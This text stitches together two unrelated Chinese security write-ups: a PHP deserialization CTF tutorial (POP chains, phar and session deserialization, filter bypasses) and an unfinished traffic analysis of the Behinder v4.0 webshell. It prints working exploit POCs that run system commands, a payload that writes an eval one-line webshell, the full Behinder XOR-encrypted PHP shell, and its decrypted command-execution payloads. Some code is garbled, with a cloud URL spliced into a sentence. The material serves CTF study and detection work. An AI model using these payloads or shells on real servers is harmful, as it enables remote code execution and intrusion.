highlight_file(__FILE__);   }   //func checkcheck($data){   // if(preg_match(......)){   // die(something wrong);   // }   //}   //function hint(){   // echo ".......";   // die();   //}   ?> 查看了一下提示发现什么也没有 if(isset($_GET['ser'])){@unserialize($_GET['ser']); 这是头部 这是尾部 public function __invoke(){checkcheck($this->txw4ever);@eval($this->txw4ever); } 从__invoke()这里开始触发 __invoke() 当脚本尝试将对象调用为函数时触发 return $bb()而这里有一个函数调用 那么$bb是class Nisa的对象就会调用 __invoke 触发$bb要调用 __toString() 而__toString()是 当一个对象被当作一个字符串被调用。 找类似echo 这种代码,而这里有个strtolower strtolower是在set方法里的 __set触发 在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用 在four类的中有private $fun='abc'; Ilovetxw类中的__call方法访问了fun这个变量 function __call($from,$val){ $this->fun=$val[0]; } 而__call方法 对不存在的方法或者不可访问的方法进行调用就自动调用 TianXiWei类中的wakeup会触发call $this->ext->nisa($this->x); nisa()这个方法并不存在 这里详细说下 <?php   class nisa   {   public $b="";   }   class TianXiWei{   public $ext;   public $x;   public function __wakeup()   {   $this->ext->nisa($this->x);   }   }   class test   {   public $a ="";   public function __call($a,$b)   {   echo "call";   }   }   $a=new TianXiWei();   $a->ext=new test();   //echo urlencode(serialize($a));   echo serialize($a);//O:9:"TianXiWei":2:{s:3:"ext";O:4:"test":1:{s:1:"a";s:0:"";}s:1:"x";N;}   //echo serialize($a->ext);//O:4:"test":1:{s:1:"a";s:0:"";} wakeup方法反序列化会触发,而里面nisa方法并不存在,$a->ext=new test()这样会触发到call,在本地测试的时候这样调用会echo call,另外我们可以看出序列化$a和$->ext是不一样的结果 链子很清晰了 TianXiWei::__wakeup->Ilovetxw::__call->four::__set->Ilovetxw::__toString->NISA::__invoke POC <?php   class NISA   {   public $fun = "";   public $txw4ever = "sYstem('ls /');";//有过滤,大小写绕过   }   class TianXiWei{   public $ext;   public $x;   }   class Ilovetxw{   public $huang;   public $su;   }   class four{   public $a="TXW4EVER";   private $fun='abc';   }   $a=new TianXiWei();//从这里下手触发__wakeup   $a->ext=new Ilovetxw();//触发__call   $a->ext->huang=new four();//触发__set   $a->ext->huang->a=new Ilovetxw();//触发__tosrting   $a->ext->huang->a->su=new NISA();//触发__invoke   echo urlencode(serialize($a)); 相信到这里,做这种题已经有一定思路了,不要着急,找到方向,然后一步一步去构造 phar反序列化 单的理解phar反序列化 phar是什么? phar是php提供的一类文件的后缀名称,也是php伪协议的一种。 phar可以干什么? 将多个php文件合并成一个独立的压缩包,相对独立 不用解压到硬盘就可以运行php脚本 支持web服务器和命令行运行 注意要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件 phar文件的的结构 一个phar文件通常由四部分组成, 1. a stub:可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。 2. a manifest describing the contents:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。 3. the file contents:被压缩文件的内容。这里不是重点,内容不影响 4. [optional] a signature for verifying Phar integrity (phar file format only):签名,放在文件末尾 <?php class Test {//自定义 } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new Test(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动 生成一个phar.phar文件 拉进010分析 可以清楚看到一个标识符,一个序列化,一个文件名 有序列化数据必然会有反序列化操作 ,php一大部分的文件系统函数 通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化 ,受影响的函数如下 is_dir(),is_file(),is_link(),copy(),file(),stat(),readfile(),unlink(),filegroup(),fileinode(),fileatime(),filectime(),fopen(),filemtime(),fileowner(),fileperms(),file_exits(),file_get_contents(),file_put_contents(),is_executable(),is_readable(),is_writable(),parse_ini_file <?php   highlight_file(__FILE__);   class Test {//自定义   public $name='phpinfo();';   }   $phar=new phar('rce.phar');   $phar->startBuffering();   $phar->setStub("<?php __HALT_COMPILER(); ?>");   $o=new Test();   $phar->setMetadata($o);   $phar->addFromString("flag.txt","flag");//添加要压缩的文件   //签名自动计算   $phar->stopBuffering();   ?> 这里用file_get_contents测试下 <?php class test{ public $name=''; public function __destruct() { eval($this->name); } } echo file_get_contents('phar://rce.phar/flag.txt'); ?> 漏洞利用条件 phar文件要能够上传到https://cloud.tencent.com/product/cvm?from=10680端。 要有可用的魔术方法作为“跳板”。 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。 姿势 compress.bzip://phar:///test.phar/test.txt compress.bzip2://phar:///test.phar/test.txt compress.zlib://phar:///home/sx/test.phar/test.txt php://filter/resource=phar:///test.phar/test.txt php://filter/read=convert.base64-encode/resource=phar://phar.phar 可以用于文件上传,有文件上传头限制,还可以这样,例如GIF $phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); //设置stub 这样可以生成一个phar.phar,修改后缀名为phar.gif [SWPUCTF 2021 新生赛]babyunser phar反序列化 查看class.php获取源码 <?php   class aa{   public $name;   public function __construct(){   $this->name='aa';   }   public function __destruct(){   $this->name=strtolower($this->name);   }   }   class ff{   private $content;   public $func;   public function __construct(){   $this->content="<?php @eval($_POST[1]);?>";   }   public function __get($key){   $this->$key->{$this->func}($_POST['cmd']);   }   }   class zz{   public $filename;   public $content='surprise';   public function __construct($filename){   $this->filename=$filename;   }   public function filter(){   if(preg_match('/^/|php:|data|zip|..//i',$this->filename)){   die('这不合理');   }   }   public function write($var){   $filename=$this->filename;   $lt=$this->filename->$var;   //此功能废弃,不想写了   }   public function getFile(){   $this->filter();   $contents=file_get_contents($this->filename);   if(!empty($contents)){   return $contents;   }else{   die("404 not found");   }   }   public function __toString(){   $this->{$_POST['method']}($_POST['var']);   return $this->content;   }   }   class xx{   public $name;   public $arg;   public function __construct(){   $this->name='eval';   $this->arg='phpinfo();';   }   public function __call($name,$arg){   $name($arg[0]);   }   } <?php   error_reporting(0);   $filename=$_POST['file'];   if(!isset($filename)){   die();   }   $file=new zz($filename);   $contents=$file->getFile();   ?>   <br>   <textarea class="file_content" type="text" value=<?php echo "<br>".$contents;?> 构造链子 先找到关键的代码$this->$key->{$this->func}($_POST['cmd']);,通过这个可以构造命令执行,所以要想办法触发__get($key), __get() 用于从不可访问的属性读取数据,ff类的 private $content;是不可访问的属性 访问content可以触发get() ,而aa::destruct方法里面有$this->name=strtolower($this->name),strtolower这个函数之前提到,可以触发tostring,利用它去触发zz::_tostring方法,利用方法里的$this->{$POST['method']}($_POST['var']);去构造method=write&var=content, aa::destruct()->zz::toString()->zz::write->xx->ff::__get() 看着好奇怪,为什么要用write去这样钩爪,因为__get()触发需要,构造write函数进行访问content成员,不仅要用这个属性去new一个对象,还要对它进行访问 如下代码进行测试 <?php   class test   {   private $a;   public $b;   public function __construct($a,$b)   {   $this->a="aaa";   $this->b="bbb";   }   public function __get($name)   {   // TODO: Implement __get() method.   $this->a="__get";   $this->b="111";   }   public function __destruct()   {   echo $this->a;   echo $this->b;   }   }   $a =new test("s","s");   //echo $a->a;   $b=serialize($a);   unserialize($b); 注释掉echo 输出是aaabbbaaabbb 去掉注释输出是get111get111 如此那么构造POP链子 <?php   class aa{   public $name;   }   class ff{   private $content;   public $func;   public function __construct(){   $this->content=new xx();//这里New xx   }   }   class zz{   public $filename;   public $content;   }   class xx   {   public $name;   public $arg;   }   $a=new aa();   $c=new ff();   $a->name=new zz();   $c->func="system";   $a->name->filename=$c;   $phar = new Phar("flag.phar"); //后缀名必须为phar   $phar->startBuffering();   $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub   //$o = new Test();   $phar->setMetadata($a); //将自定义的meta-data存入manifest   $phar->addFromString("test.txt", "test"); //添加要压缩的文件   //签名自动计算   $phar->stopBuffering(); 上传之后使用phar协议读取 file=phar://upload%2Fab83ba92f17bf9599f4bfc31f92811f2.txt&method=write&var=content&cmd=cat /flag session反序列化 session与cookie很像,都是客户端与服务端会话时,用户的标识, PHP session 解决了这个问题,它通过在服务器上存储用户信息以便随后使用(比如用户名称、购买商品等)。然而,会话信息是临时的,在用户离开网站后将被删除。如果您需要永久存储信息,可以把数据存储在数据库中。 而session是以文件方式存储的 直接找一道题做做 题目来自ctfshowWEB263 打开是一个登录页面,用目录扫描扫一下,这里我用的是dirsearch dirsearch -u "http://invalid.uri -e* 存在源码泄露,访问http://www.zip,下载下来源码,关键代码 index.php源码 */   error_reporting(0);   session_start();   //超过5次禁止登陆   if(isset($_SESSION['limit'])){   $_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);   $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);   }else{   setcookie("limit",base64_encode('1'));   $_SESSION['limit']= 1;   }   ?> check.php源码 <?php   /*   # -*- coding: utf-8 -*-   # @Author: h1xa   # @Date: 2020-09-03 16:59:10   # @Last Modified by: h1xa   # @Last Modified time: 2020-09-06 19:15:38   # @email: h1xa@ctfer.com   # @link: https://ctfer.com   */   error_reporting(0);   require_once 'inc/inc.php';   $GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);   if($GET){   $data= $db->get('admin',   [ 'id',   'UserName0'   ],[   "AND"=>[   "UserName0[=]"=>$GET['u'],   "PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破   ]   ]);   if($data['id']){   //登陆成功取消次数累计   $_SESSION['limit']= 0;   echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));   }else{   //登陆失败累计次数加1   $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);   echo json_encode(array("error","msg"=>"登陆失败"));   }   } inc.php中有一个这个 ini_set('session.serialize_handler', 'php'); 而session存储格式(序列化)其中有这两种 ini_set('session.serialize_handler', 'php'); ini_set('session.serialize_handler', ' php_serialize '); 测试一下看这两个什么区别 <?php ini_set('session.serialize_handler','php'); session_start(); class test1{ public $a="test"; } $a=new test1(); $_SESSION['user']=$a; 在tmp下找到这个文件打开看 是 user|O:5:"test1":1:{s:1:"a";s:4:"test";}<?php ini_set('session.serialize_handler','php_serialize'); session_start(); class test1{ public $a="test"; } $a=new test1(); $_SESSION['user']=$a;a:1:{s:4:"user";O:5:"test1":1:{s:1:"a";s:4:"test";}} 两种方式的区别主要是“|”符号,在php机制中,只会序列化“|”符号后面的内容 inc.php中关键代码 class User{ public $username; public $password; public $status; function __construct($username,$password){ $this->username = $username; $this->password = $password; } function setStatus($s){ $this->status=$s; } function __destruct(){ file_put_contents("log-".$this->username, "使用".$this->password."登陆 可以利用这个函数写一句话木马 而session_start() 函数会解析 session 文件,就相当于进行了反序列化,session值我们是可控的,这样的话反序列化有了,只要构造出序列化字符串触发 User类 的 __destruct方法就可以了 <?php   class User   {   public $username;   public $password;   function __construct($username, $password)   {   $this->username = $username;   $this->password = $password;   }   }   $a=new User('1.php','<?php eval($_POST["1"]);?>');   echo base64_encode("|".serialize($a)); 访问的时候文件名是log-拼接,所以是log-1.php,index.php里面三元条件运算符: $SESSION['limti']>5?die("登陆失败次数超过限制"):$SESSION['limit']=base64_decode($_COOKIE['limit') 第一个式子不成立,则执行$SESSION['limit']=base64_decode($COOKIE['limit') ,因为有base64_decode,所以这里我们还有base64_encode一下 抓包改limit值 然后发包,接着访问check.php 实现反序列化shell的写入 然后变更请求方法,注意直接右键选择变更POST请求 tricks总结 16进制绕过字符过滤 //O:1:"A":1:{s:2:"ab";s:4:"test";} //O:1:"A":1:{S:2:"61b";s:4:"test";}//s改为大写S会被当成16进制解析 //61是a的16进制 php类名对大小写不敏感 ctfshowWEB266 <?php highlight_file(__FILE__); include('flag.php'); $cs = file_get_contents('php://input'); class ctfshow{ public $username='xxxxxx'; public $password='xxxxxx'; public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function login(){ return $this->username===$this->pas 很明显是触发析构函数就得到了flag,但是有过滤,如果匹配到了ctfshow就抛异常, 这题用到的知识点是PHP类名对大小写不敏感,可以清楚看到过滤并没有过滤大小写 直接这样 $cs = file_get_contents('php://input');采用php伪协议传参 直接提交POST数据就行 <?php   class cTfshow   {   }   $a=new cTfshow();   echo (serialize($a)); +号绕过 ctfshowWEB258 <?php   error_reporting(0);   highlight_file(__FILE__);   class ctfShowUser{   public $username='xxxxxx';   public $password='xxxxxx';   public $isVip=false;   public $class = 'info';   public function __construct(){   $this->class=new info();   }   public function login($u,$p){   return $this->username===$u&&$this->password===$p;   }   public function __destruct(){   $this->class->getInfo();   }   }   class info{   public $user='xxxxxx';   public function getInfo(){   return $this->user;   }   }   class backDoor{   public $code;   public function getInfo(){   eval($this->code);   }   }   $username=$_GET['username'];   $password=$_GET['password'];   if(isset($username) && isset($password)){   if(!preg_match('/[oc]:d+:/i', $_COOKIE['user'])){   $user = unserialize($_COOKIE['user']);   }   $user->login($username,$password);   }   可见增加了过滤,过滤例如如下o:123:、c:456: s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:8:"backDoor":1:{s:4:"code";s:10:"phpinfo();";}}phpinfo() 正常反序列化肯定会有o和c这种 如果O:后面不跟数字的话就可以把这个绕过去了 这里可以用+号,具体原因是跟PHP底层代码有关,+号判断也是可以正常的反序列化的 这里把O:后面加上一个加号 <?php   error_reporting(0);   highlight_file(__FILE__);   class ctfShowUser{   public $username='xxxxxx';   public $password='xxxxxx';   public $isVip=false;   public $class = 'info';   public function __construct(){   $this->class=new backDoor();   }   public function __destruct(){   $this->class->getInfo();   }   }   class backDoor{   public $code="phpinfo();";   public function getInfo(){   eval($this->code);   }   }   $a=new ctfShowUser();   //echo urlencode(serialize($a));   $a=serialize($a);   $a=preg_replace('/[oc]+:/i','O:+',$a);   echo urlencode($a); 利用&使两值恒等 题目ctfshow web265 <?php   error_reporting(0);   include('flag.php');   highlight_file(__FILE__);   class ctfshowAdmin{   public $token;   public $password;   public function __construct($t,$p){   $this->token=$t;   $this->password = $p;   }   public function login(){   return $this->token===$this->password;   }   }   $ctfshow = unserialize($_GET['ctfshow']);   $ctfshow->token=md5(mt_rand());   if($ctfshow->login()){   echo $flag;   } $ctfshow->login()这个成立才给flag $ctfshow->token=md5(mt_rand());但是这个是随机的 这个题考察php按地址传参 <?php   $a='11';   $b=&$a;   $b=1;   echo $a;//$b被赋值的是变量a的地址,php是按地址传参,a的值会随b值变化   //1 所以我们可以直接这样 <?php   class ctfshowAdmin{   public $token;   public $password;   public function __construct(){   $this->password = &$this->token;   }   }   $a=new ctfshowAdmin();   echo ( urlencode(serialize($a))); php7.1+反序列化对类属性不敏感 题目来自[网鼎杯 2020 青龙组]AreUSerialz <?php   include("flag.php");   highlight_file(__FILE__);   class FileHandler {   protected $op;   protected $filename;   protected $content;   function __construct() {   $op = "1";   $filename = "/tmp/tmpfile";   $content = "Hello World!";   $this->process();   }   public function process() {   if($this->op == "1") {   $this->write();   } else if($this->op == "2") {   $res = $this->read();   $this->output($res);   } else {   $this->output("Bad Hacker!");   }   }   private function write() {   if(isset($this->filename) && isset($this->content)) {   if(strlen((string)$this->content) > 100) {   $this->output("Too long!");   die();   }   $res = file_put_contents($this->filename, $this->content);   if($res) $this->output("Successful!");   else $this->output("Failed!");   } else {   $this->output("Failed!");   }   }   private function read() {   $res = "";   if(isset($this->filename)) {   $res = file_get_contents($this->filename);   }   return $res;   }   private function output($s) {   echo "[Result]: <br>";   echo $s;   }   function __destruct() {   if($this->op === "2")   $this->op = "1";   $this->content = "";   $this->process();   }   }   function is_valid($s) {   for($i = 0; $i < strlen($s); $i++)   if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))   return false;   return true;   }   if(isset($_GET{'str'})) {   $str = (string)$_GET['str'];   if(is_valid($str)) {   $obj = unserialize($str);   }   } 看着很多,其实没什么东西, 关键要利用到这里 大致看了write函数或者read函数,都可以尝试利用得到flag 但是__destruct()方法 $this->content = "";会把content值为空,我们没有办法去利用这个write函数,所以看看read函数 __destruct()方法里有一个强类型比较,$this->op === "2",如果我们把op=2;不加引号,那么为int类型,则$this->op === "2"为false,这样在process()方法里,就会调用read方法 接着就是绕过 is_valid函数 ,由于有protected属性,会有不可打印字符,而不可打印字符被 is_valid函数限制住了,所以需要绕过,那么在php7.1版本以上可以直接修改属性 因为php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符 POC如下 <?php   class FileHandler {   public $op=2;   public $filename="flag.php";   public $content="111";   pr   }   $a = new FileHandler();   echo urlencode(serialize($a));   ?> payload ?str=O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A3%3A%22111%22%3B%7D
冰蝎V4.0流量分析到攻防检测
0x01 前言 最近在改写 yso,觉得自己基础太差了,想先阅读一下 sqlmap、冰蝎以及一些其他工具的开发思路。文章可能写的不够严谨,有不对的地方还请师傅们多多指出。 0x02 环境搭建 这里我看的是 MountCloud 师傅所二开的冰蝎项目,版本是 4.0.2;其实就是通过反编译搞出来的,但是这里不要用 jd-gui 或者 jadx 这些反编译,我用的是 MountCloud 师傅自己写的反编译工具,地址:https://github.com/MountCloud/JavaDecompileTool-GUI 冰蝎项目源码地址:https://github.com/MountCloud/BehinderClientSource 拿到之后用 maven package 打包一下,运行 jar 包即可,同时要将 data.db 放到 jar 包同一目录下。 0x03 冰蝎的使用与流量分析 冰蝎的使用 我们看冰蝎的客户端界面,对于 shell 其实是没有输入密码模块的,其实在冰蝎当中 shell 是通过传输协议配置的。 这一传输协议的加密函数是用 Java 写的,并且 key 是默认的,不需要自己修改,我们点击生成服务端,则会生成三个 shell 文件,分别为 .php、.aspx 和 .jsp,这里我们起个环境然后连 shell(这里我是用虚拟机的环境,因为一开始用本机起一直 wireshark 抓不到流量,如果踩坑的师傅也欢迎私信和我交流) 我们可以看一下 shell.php(先对 xor_base64 的传输协议进行分析,后续分析 xor_base64 这种加密方式的攻防性),代码如下,此处代码和 v3.0 的相当不一样。 v4.0 的代码 <?php @error_reporting(0); function decrypt($data) {    $key="25f9e794323b4538";    $bs="base64_"."decode"; $after=$bs($data.""); for($i=0;$i<strlen($after);$i++) {   $after[$i] = $after[$i]^$key[$i+1&15];   }    return $after; } $post=Decrypt(file_get_contents("php://input"));    eval($post); ?> 这里的 key 就是对应的连接密码,当然在冰蝎“传输协议”当中,可以自定义密码。 v3.0 的代码 <?php @error_reporting(0); session_start();    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond $_SESSION['k']=$key; session_write_close(); $post=file_get_contents("php://input"); if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) {   $post[$i] = $post[$i]^$key[$i+1&15];   } } else { $post=openssl_decrypt($post, "AES128", $key); }    $arr=explode('|',$post);    $func=$arr[0];    $params=$arr[1]; class C{public function __invoke($p) {eval($p."");}}    @call_user_func(new C(),$params); ?> v3.0 和 v4.0 的区别很明显在于这里 $_SESSION['k']=$key,v3.0 版本当中会把 key 作为 session 传入;接着判断 extension_loaded,也就是判断服务端是否存在 openssl 拓展,如果不存在就用 base64 解码,然后使用 key 进行异或加密,这也是冰蝎 v4.0 版本当中的 xor_base64 加密方式;如果服务端能够加载 openssl 拓展,就使用 AES128 解密,这里对应冰蝎 v4.0 版本当中的 aes 加密方式。 冰蝎流量分析 看了网上一堆分析的文章,都在说冰蝎的通信过程可以分为两个阶段:密钥协商和加密传输 第一阶段-密钥协商 1.攻击者通过 GET 或者 POST 方法,形如 http://127.0.0.1/shell.php?pass=645 的请求服务器密钥; 2.服务器使用随机数 MD5 的高16位作为密钥,存储到会话的 $_SESSION 变量中,并返回密钥给攻击者。 第二阶段-加密传输 1)客户端把待执行命令作为输入,利用 AES 算法或 XOR 运算进行加密,并发送至服务端; 2)服务端接受密文后进行 AES 或 XOR 运算解密,执行相应的命令; 3)执行结果通过 AES 加密后返回给攻击者。 但是我自己在分析的过程中并没有看到这个密钥协商的过程,同时也没有看到 $_SESSION 变量当中存储了 md5 的高 16 位,反而 $_SESSION 变量存储的是一个 26 位的字符。不知道这里是我的问题还是冰蝎 4.0 版本就是如此。 我先选取的是 xor_base64 的加密方式,我在连上马之后还执行了 whoami 命令,如果不算上自己的命令执行,一共是两组流量,我们来分析一下。 第一段代码,经过 xor_base64 的解密,得到如下代码 @error_reporting(0); function main($content) {    $result = array();    $result["status"] = base64_encode("success");    $result["msg"] = base64_encode($content);    @session_start();        echo encrypt(json_encode($result)); } function encrypt($data) {        $key="25f9e794323b4538";    for($i=0;$i<strlen($data);$i++) {        $data[$i] = $data[$i]^$key[$i+1&15];       }        $bs="base64_"."encode";    $after=$bs($data."");        return $after; } $content="WWtpektNWU1PREpybFB6VlQwdXY1T2JoMkNsMzVmZmVPZ0pDQnZaZElKejhVaGc1ZU42NnlCYWI3YVVqakJ4U3BRcnpneEdJT3pmclR5QWFVQ2Nqa2pTVm1OTU9LNzlrNHhzRjJjd2F2OTF2WFRITG9KdWpmMHpFeU9lTmFWRmdYQUdPT0loaHJKM0JSMkZNaUo5VjZwWGtwb2xQUWNyWGY1UzBuV05SYkE5eHFacmZUM3B4UG1jR3l2RTcxUUtCSkhMa0NJdms5NzdYM2FmZWFmazd4bkpHYl $content=base64_decode($content); main($content); 我个人倾向于是认为冰蝎 V4.0 版本当中,这一个包涵盖了密钥协商的部分,并且在这一个包之后重置了 $_session,而 msg 和第一个包里的 content 是相同的,所以我认为这一部分其实也在做密钥协商(后来看了冰蝎作者的文章,果然如此) 接着我们往下看相应报文,相应报文经过 xor_base64 解密之后结果如下 { "status":"c3VjY2Vzcw==", "msg":"WWtpektNWU1PREpybFB6VlQwdXY1T2JoMkNsMzVmZmVPZ0pDQnZaZElKejhVaGc1ZU42NnlCYWI3YVVqakJ4U3BRcnpneEdJT3pmclR5QWFVQ2Nqa2pTVm1OTU9LNzlrNHhzRjJjd2F2OTF2WFRITG9KdWpmMHpFeU9lTmFWRmdYQUdPT0loaHJKM0JSMkZNaUo5VjZwWGtwb2xQUWNyWGY1UzBuV05SYkE5eHFacmZUM3B4UG1jR3l2RTcxUUtCSkhMa0NJdms5NzdYM2FmZWFmazd4bkpHYlc0M } 经过 base64 解密,status 对应的是 success,证明能够收到这个包,并且和前面对照上。 继续分析下一个包,代码如下,这里就进行了命令执行 error_reporting(0); function main($whatever) {        $result = array();        ob_start();    phpinfo();    $info = ob_get_contents();    ob_end_clean();        $driveList ="";        if (stristr(PHP_OS,"windows")||stristr(PHP_OS,"winnt")){                for($i=65;$i<=90;$i++) {                $drive=chr($i).':/';                file_exists($drive) ? $driveList=$driveList.$drive.";":'';           }       } else {        $driveList="/";   }        $currentPath=getcwd();        //echo "phpinfo=".$info."\n"."currentPath=".$currentPath."\n"."driveList=".$driveList;    $osInfo=PHP_OS;        $arch="64";        if (PHP_INT_SIZE == 4) {        $arch = "32";       }        $localIp=gethostbyname(gethostname());        if ($localIp!=$_SERVER['SERVER_ADDR']) {                $localIp=$localIp." ".$_SERVER['SERVER_ADDR'];       }        $extraIps=getInnerIP();        foreach($extraIps as $ip) {                if (strpos($localIp,$ip)===false) {                    $localIp=$localIp." ".$ip;               }       }        $basicInfoObj=array(        "basicInfo"=>base64_encode($info),        "driveList"=>base64_encode($driveList),        "currentPath"=>base64_encode($currentPath),        "osInfo"=>base64_encode($osInfo),        "arch"=>base64_encode($arch),        "localIp"=>base64_encode($localIp));            //echo json_encode($result);            $result["status"] = base64_encode("success");            $result["msg"] = base64_encode(json_encode($basicInfoObj));            //echo json_encode($result);            //echo openssl_encrypt(json_encode($result), "AES128", $key);            echo encrypt(json_encode($result));   }    function getInnerIP()   {        $result = array();        if (is_callable("exec"))       {                $result = array();                exec('arp -a',$sa);                foreach($sa as $s)               {                        if (strpos($s,'---')!==false) {                    $parts=explode(' ',$s);                    $ip=$parts[1];                    array_push($result,$ip);               }                //var_dump(explode(' ',$s));                          // array_push($result,explode(' ',$s)[1]);               }       }        return $result;   }    function encrypt($data)   {            $key="25f9e794323b4538";        for($i=0;$i<strlen($data);$i++) {                $data[$i] = $data[$i]^$key[$i+1&15];           }            $bs="base64_"."encode";        $after=$bs($data."");            return $after;   }    $whatever="RWN4cTE4VFlUNGRVUWhaalZ5UW1Kamw4R2RTZlJIalhlRFg2djR3Y1RLVFhhWnQxaFhES3ZBMW9QYjlPWmlGNlEyNUNVcXVkV2J4Q0dTUG5YZ3B2RjRDVWlGbGwxNVk2d3RMWUhnbjRVWWRETDdVbHNoWjNrZmNCNlUzNWNRRW5hU1g1RFNQSDI1Snpmc2ZqRzJBQWJyaDZMUDVxMWZuMm1JVzIxTklWR0JraTViUE1XTnBnVG5wVFJ5cEpsQmdCTlJmSW1WYzIzRERmVlRoeDBpQ1pLc $whatever=base64_decode($whatever); main($whatever); 这里我不太明白传入的 $whatever 是做什么的,感觉没什么用,这个脚本本质上还是在运行 phpinfo() 的命令执行。 把相应包解密出来,内容如下 { "status":"c3VjY2Vzcw==", "msg":"xxx略,篇幅太长" } 把这一串 msg 内容放到 base64 解密,不难发现响应内容其实就是 phpinfo() 的命令回显。 至于后面的命令执行部分,是比较好分析的 把流量包提取出来,进行解密 @error_reporting(0); function getSafeStr($str){    $s1 = iconv('utf-8','gbk//IGNORE',$str);    $s0 = iconv('gbk','utf-8//IGNORE',$s1);    if($s0 == $str){        return $s0;   }else{        return iconv('gbk','utf-8//IGNORE',$str);   } } function main($cmd,$path) {    @set_time_limit(0);    @ignore_user_abort(1);    @ini_set('max_execution_time', 0);    $result = array();    $PadtJn = @ini_get('disable_functions');    if (! empty($PadtJn)) {        $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);        $PadtJn = explode(',', $PadtJn);        $PadtJn = array_map('trim', $PadtJn);   } else {        $PadtJn = array();   }    $c = $cmd;    if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {        $c = $c . " 2>&1\n";   }    $JueQDBH = 'is_callable';    $Bvce = 'in_array';    if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {        ob_start();        system($c);        $kWJW = ob_get_contents();        ob_end_clean();   } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {        $handle = proc_open($c, array(            array(                'pipe',                'r'           ),            array(                'pipe',                'w'           ),            array(                'pipe',                'w'           )       ), $pipes);        $kWJW = NULL;        while (! feof($pipes[1])) {            $kWJW .= fread($pipes[1], 1024);       }        @proc_close($handle);   } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {        ob_start();        passthru($c);        $kWJW = ob_get_contents();        ob_end_clean();   } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {        $kWJW = shell_exec($c);   } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {        $kWJW = array();        exec($c, $kWJW);        $kWJW = join(chr(10), $kWJW) . chr(10);   } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {        $fp = popen($c, 'r');        $kWJW = NULL;        if (is_resource($fp)) {            while (! feof($fp)) {                $kWJW .= fread($fp, 1024);           }       }        @pclose($fp);   } else {        $kWJW = 0;        $result["status"] = base64_encode("fail");        $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");        $key = $_SESSION['k'];        echo encrypt(json_encode($result));        return;   }    $result["status"] = base64_encode("success");    $result["msg"] = base64_encode(getSafeStr($kWJW));    echo encrypt(json_encode($result)); } function encrypt($data) {    $key="25f9e794323b4538";        for($i=0;$i<strlen($data);$i++) {        $data[$i] = $data[$i]^$key[$i+1&15];   }    $bs="base64_"."encode";        $after=$bs($data."");    return $after; } $cmd="Y2QgL2QgIkM6XHBocHN0dWR5X3Byb1xXV1dcZGlhZ25vc3RpY18wXGRpYWdub3N0aWNcYXNzZXRzXHVwbG9hZEltYWdlXExvZ29cIiZ3aG9hbWk="; $cmd=base64_decode($cmd); $path="QzovcGhwc3R1ZHlfcHJvL1dXVy9kaWFnbm9zdGljXzAvZGlhZ25vc3RpYy9hc3NldHMvdXBsb2FkSW1hZ2UvTG9nby8="; $path=base64_decode($path); main($cmd,$path); $cmd 对应的是 cd /d "C:\phpstudy_pro\WWW\diagnostic_0\diagnostic\assets\uploadImage\Logo\"&whoami $path 对应的是 C:/phpstudy_pro/WWW/diagnostic_0/diagnostic/assets/uploadImage/Logo/ 对应回显是 {"status":"c3VjY2Vzcw==","msg":"ZGVza3RvcC1xbWNzOWdvXGRydW5rYmFieQ0K"} 一些疑问和改进点 简单来说,如果作为蓝队,需要严格分析的是第三个流量包,也就是命令执行的流量包,这也最容易分析。在学习阶段我也思考了具体的几个点 1、连马是如何连上的,看起来 shell.php 需要我们 post 传入 $data,这一步在流量分析中并没有抓到。 2、针对 aes,xor_base64 进行加密的防御型脚本检测。 3、冰蝎的改写,是否可以采用新型加密方式。 0x04 冰蝎传输与攻防 冰蝎传输与连马&命令执行 一开始这里我也不太理解,后面在看了冰蝎作者的文章之后恍然大悟,原文链接 —— https://mp.weixin.qq.com/s/EwY8if6ed_hZ3nQBiC3o7A 冰蝎 v4.0 版本不再有连接密码的概念,你的自定义传输协议的算法就是连接密码。按照冰蝎 3.0 版本当中的密码依旧是 "rebeyond",但是冰蝎 v4.0 的马使用蚁剑,以 "rebeyond" 作为密码是连不上的(亲测 在流量层,冰蝎的 aes 